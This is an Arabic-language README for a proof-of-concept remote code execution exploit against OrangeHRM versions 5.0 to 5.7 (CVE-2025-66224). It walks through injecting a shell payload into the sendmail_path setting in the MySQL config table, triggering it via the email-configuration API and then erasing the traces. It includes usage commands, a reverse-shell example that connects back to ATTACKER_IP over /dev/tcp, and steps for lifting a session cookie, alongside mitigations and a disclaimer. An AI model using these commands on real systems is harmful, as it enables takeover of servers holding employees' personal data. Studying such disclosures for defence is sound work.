OrangeHRM RCE Exploit - CVE-2025-66224

📋 الوصف

يُظهر هذا الإثبات المفاهيمي (PoC) ثغرة تنفيذ الأوامر عن بُعد (RCE) في OrangeHRM من خلال حقن الأوامر في معامل الإعداد sendmail_path.

تعمل الأداة عبر:

1. حقن حمولة خبيثة في قاعدة بيانات MySQL (جدول hs_hr_config)
2. تشغيل الحمولة عبر نقطة نهاية واجهة برمجة تطبيقات إعداد البريد الإلكتروني
3. استعادة القيمة الأصلية تلقائيًا لإزالة الآثار

🎯 الإصدارات المتأثرة

• OrangeHRM الإصدار 5.0 حتى 5.7

⚠️ إخلاء مسؤولية

هذه الأداة مُقدَّمة لأغراض تعليمية واختبار الاختراق المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

🔧 المتطلبات

pip install requests mysql-connector-python

📦 التثبيت

git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt

🚀 الاستخدام

الخطوة 1: الحصول على كوكي الجلسة

1. سجّل الدخول إلى OrangeHRM عبر الواجهة الإلكترونية
2. افتح أدوات المطوّر في المتصفح (F12)
3. انتقل إلى Storage > Cookies (فايرفوكس) أو Application > Cookies (كروم)
4. انسخ قيمة كوكي _orangehrm

الخطوة 2: تشغيل الأداة

python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
    -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
    -cmd '<COMMAND_TO_EXECUTE>'

مثال - أمر بسيط

python3 exploit.py -t http://127.0.0.1:8080/ \
    -c "g58tak8pbnheseatv6dggvi31i" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd "touch /tmp/pwned"

مثال - قشرة عكسية

# تشغيل مستمع على جهاز المهاجم
nc -lvnp 4444

# تنفيذ الأداة بحمولة القشرة العكسية
python3 exploit.py -t http://target.com/ \
    -c "your_session_cookie" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

📝 المعاملات

🔍 كيف تعمل الأداة

تفاصيل الثغرة

توجد الثغرة في وظيفة إعداد البريد الإلكتروني حيث يُخزَّن المعامل sendmail_path في قاعدة البيانات ويُتنفَّذ لاحقًا دون تعقيم مناسب.

خطوات الاستغلال:

1. المصادقة على OrangeHRM (الحصول على كوكي جلسة صالحة)
   ↓
2. الاتصال بقاعدة بيانات MySQL
   ↓
3. تحديد موقع جدول hs_hr_config
   ↓
4. تحديث قيمة email_config.sendmail_path:
   من: /usr/sbin/sendmail -bs
   إلى:   /usr/sbin/sendmail -bs && <PAYLOAD> #
   ↓
5. تشغيل التنفيذ عبر الواجهة البرمجية:
   PUT /web/index.php/api/v2/admin/email-configuration
   ↓
6. يتم تنفيذ الأمر على الخادم
   ↓
7. استعادة القيمة الأصلية (تنظيف)

تفاصيل تقنية

المعامل القابل للاستغلال: email_config.sendmail_path

قاعدة البيانات:

• الجدول: hs_hr_config
• العمود: name = 'email_config.sendmail_path'
• العمود: value = مسار أمر sendmail

نقطة نهاية التشغيل:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ التخفيف

1. التحقق من المدخلات: تنفيذ تحقق صارم للمعامل sendmail_path
2. التهريب (Escaping): تهريب أوامر الصدفة بشكل صحيح قبل التنفيذ
3. أقل امتياز: تشغيل خادم الويب بأقل صلاحيات ممكنة
4. التحديث: تطبيق أحدث التصحيحات الأمنية لـ OrangeHRM

🤝 الاعتمادات

مقدّم الإثبات المفاهيمي: RiccK

الفريق: Bypassadores && HackersOnSteroids

🔗 المراجع

• CVE-2025-66224

⚠️ استخدم بمسؤولية. احصل دائمًا على إذن صريح قبل الاختبار.